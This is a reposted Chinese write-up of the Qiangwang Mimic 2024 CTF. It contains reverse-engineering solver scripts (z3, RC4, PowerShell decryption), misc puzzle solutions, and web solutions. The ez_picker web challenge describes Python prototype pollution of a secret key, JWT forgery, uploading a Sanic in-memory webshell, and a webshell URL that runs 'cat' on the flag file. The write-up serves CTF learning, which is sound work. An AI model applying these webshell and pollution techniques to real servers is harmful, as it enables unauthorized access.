== 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[1] & (v15[0] == 0) & (v13 == 0) & (v6 == 0) | v2;        if (!((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0)))            v17 = 0;    }    return v17;}void byteToBinaryString(unsigned char byte, unsigned int* binaryArray) {    int i;    for (i = 7; i >= 0; i--) {        binaryArray[7 - i] = ((byte & (1 << i)) ? 1 : 0);    }}int main(){    std::cout << "Hello World!n";    for (unsigned int i = 0; i < 0xff; i++)    {        unsigned int binary[12];        binary[8] = 1;        binary[9] = 1;        binary[10] = 1;        binary[11] = 1;
       byteToBinaryString(i, binary);        if (check((uint64)binary))        {            printf("%x", i);        }
   }}
>> > from Crypto.Cipher import AES>> > c = bytes.fromhex("128fecc28504b24c5bba4acf11360a48")>> > key = bytes.fromhex("3577402ECCA44A3F9AB72182F9B01F35")>> > aes = AES.new(key = key, mode = AES.MODE_ECB)>> > m = aes.decrypt(c)>> > m.hex()'4d87ef0377bb491a80f54620245807c4'>> >

Serv1ce

myclassVar.decode是RC4+base64,两个OnClickListener中分别调用startService和stopService

MainActivity通过intent将input传递给MyService

强网拟态2024 Writeup

MyService是一个service类,经过onCreate和onStartCommand后this.num=11

可以直接拿到key,关键在于native层的check

强网拟态2024 Writeup

check逐字节加密并比较

强网拟态2024 Writeup

根据条件z3嗦flag

from z3 import *# 已知数组 v (请根据实际情况填入 36 个已知值)enc = [  0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB,  0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF,  0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B,  0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]num = 11
# 求keykey_str = "1liIl11lIllIIl11llII"key = bytearray(64)
for i in range(64):    char = key_str[i % len(key_str)]    key[i] = ((ord(char) - ord('w')) ^ 23) & 255print("Key:",key)# key=[173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197]
# 创建 Z3 Solversolver = Solver()
# 创建 input 数组input = [BitVec(f'flag{i}', 8) for i in range(36)]
# 添加约束for i in range(36):    tmp = (input[i] ^ key[i]) * num    solver.add(tmp == enc[i])
# 输出flagif solver.check() == sat:    model = solver.model()    result = [model[input[i]].as_long() for i in range(36)]    # 将字节数组转换为字符串    flag = ''.join(chr(byte) for byte in result)    print(f"flag{{{flag}}}") # flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8}else:    print("No solution found.")

a_game

分析该程序  在某个函数的位置发现一个解密的功能

强网拟态2024 Writeup

控制程序走到这一段 运行后发现其会解密出一个powershell脚本并运行 将powershell脚本提取出来

可以发现采用了混淆的手法 并且使用iex执行 将iex修改为write-out打印出来

强网拟态2024 Writeup

重复以上操作多次

强网拟态2024 Writeup

最后解密出如下的代码

强网拟态2024 Writeup

逆向一下发现是嵌套了RC4以及其他的一些算法  并且从注册表中读取输入的内容 最后密文如下

强网拟态2024 Writeup

原有代码基础上写脚本逆向enenenen1 原本以为循环加密的36次  结果在第一轮解密的时候就可能成功打印出正确结果

function d2 {    param(        $inputbyte    )    $key = @(0x70, 0x30, 0x77, 0x65, 0x72)    for ($k = 0; $k -lt $inputbyte.Length; $k++) {        $inputbyte[$k] = ($inputbyte[$k] - $key[$k % $key.Length])     }    return $inputbyte;}
function d3 {    param(        $inputbyte    )    $key = @(0x70, 0x30, 0x77, 0x33, 0x72)    for ($k = 0; $k -lt $inputbyte.Length; $k++) {        $inputbyte[$k] = $inputbyte[$k] / $key[$k % $key.Length]    }    return $inputbyte;}
function d1 {    param(        $inputbyte    )    $key = $inputbyte[36..40 ]        $encryptedText = $inputbyte[0..35]     Write-Host $encryptedText         #Write-Output  ""         Write-Host $key    #$encryptedText = @();    for ($k = 0; $k -lt $encryptedText.Length ; $k++) {              $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;        $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;         Write-Host $encryptedText         #Write-Output  ""         Write-Host $key    }    Write-Output("HHHHHHHHH")    return $encryptedText}
$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)

#2 2 3 2 2 2 1()$test = @(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36)

$out = enenenenene1 -input $testWrite-Host "encrypt:"Write-Host $out
Write-Host "decrypt:"$out2 = d1 -input $out#Write-Host $out2 -NoNewline
Write-Host "real decrypt:"
(d1 -input (d2 -input (d2 -input (d2 -input (d3 -input ( d2 -input (d2 -input $result)))))))

转换一下即可

flag = [55,51,52,49,50,48,51,54,45,55,100,56,99,45,52,51,55,98,45,57,48,50,54,45,48,99,50,99,97,49,98,55,102,55,57,100]
print(flag)print(bytes(flag))

Web

capoo

非预期,能直接读start.sh,解码出里面的flag文件名也可以直接读取

强网拟态2024 Writeup

解码即可得到flag

ez_picker

url/register

注册用户admin/admin

url/login

登录

url/upload

显示{"status":"fail","message":"Permission Denied"}

查看token

强网拟态2024 Writeup

根据源码得知,把guest改为admin即可访问upload

但是需要secret_key作为修改前提

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
强网拟态2024 Writeup

打python污染,进行污染secret_key

强网拟态2024 Writeup

然后修改jwt

强网拟态2024 Writeup
强网拟态2024 Writeup

存在上传点

https://www.cnblogs.com/gxngxngxn/p/18205235

根据这篇文章去打sanic框架下的内存马

强网拟态2024 Writeup
强网拟态2024 Writeup

生成然后上传

发现存在过滤

强网拟态2024 Writeup

去污染

强网拟态2024 Writeup
强网拟态2024 Writeup

污染后成功上传

强网拟态2024 Writeup

/gxngxngxn?gxngxngxn=cat /tr3e_fl4g_1s_h3re_lol

强网拟态2024 Writeup

得到flag

Misc

ezflag

下载附件,解压,发现流量包丢流量包工具  CTF-NET 中

强网拟态2024 Writeup

发现存在flag.zip

强网拟态2024 Writeup

一键分离所有文件

强网拟态2024 Writeup

解压出flag.zip

但是没办法打开,拖入010中

很清晰的看见有图片头

强网拟态2024 Writeup

改后缀为png

得到flag

强网拟态2024 Writeup

PvZ

  • 李华的梦想是攒钱买毁灭菇加农炮,可是他总攒不住钱,请帮他理财,算一下他刚开始的这局游戏花了多少钱

看到数字,图片都懒得看了,直接爆破(爆破大法好了)

先生成1-10000的数字的md5值,然后直接开爆

强网拟态2024 Writeup

得到一张歪斜的不全的二维码和一个角上的信息

先使用夸克进行矫正,然后利用

强网拟态2024 Writeup

然后稍微确定一下定位符的位置,利用ppt进行拼接即可扫得到一串

强网拟态2024 Writeup

微信扫码得到

D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^WUZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

结合图片名称猜测得到


强网拟态2024 Writeup

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Elite

强网拟态2024 Writeup
强网拟态2024 Writeup

原文始发于微信公众号(星盟安全):强网拟态2024 Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月22日21:17:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   强网拟态2024 Writeuphttps://cn-sec.com/archives/3303054.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息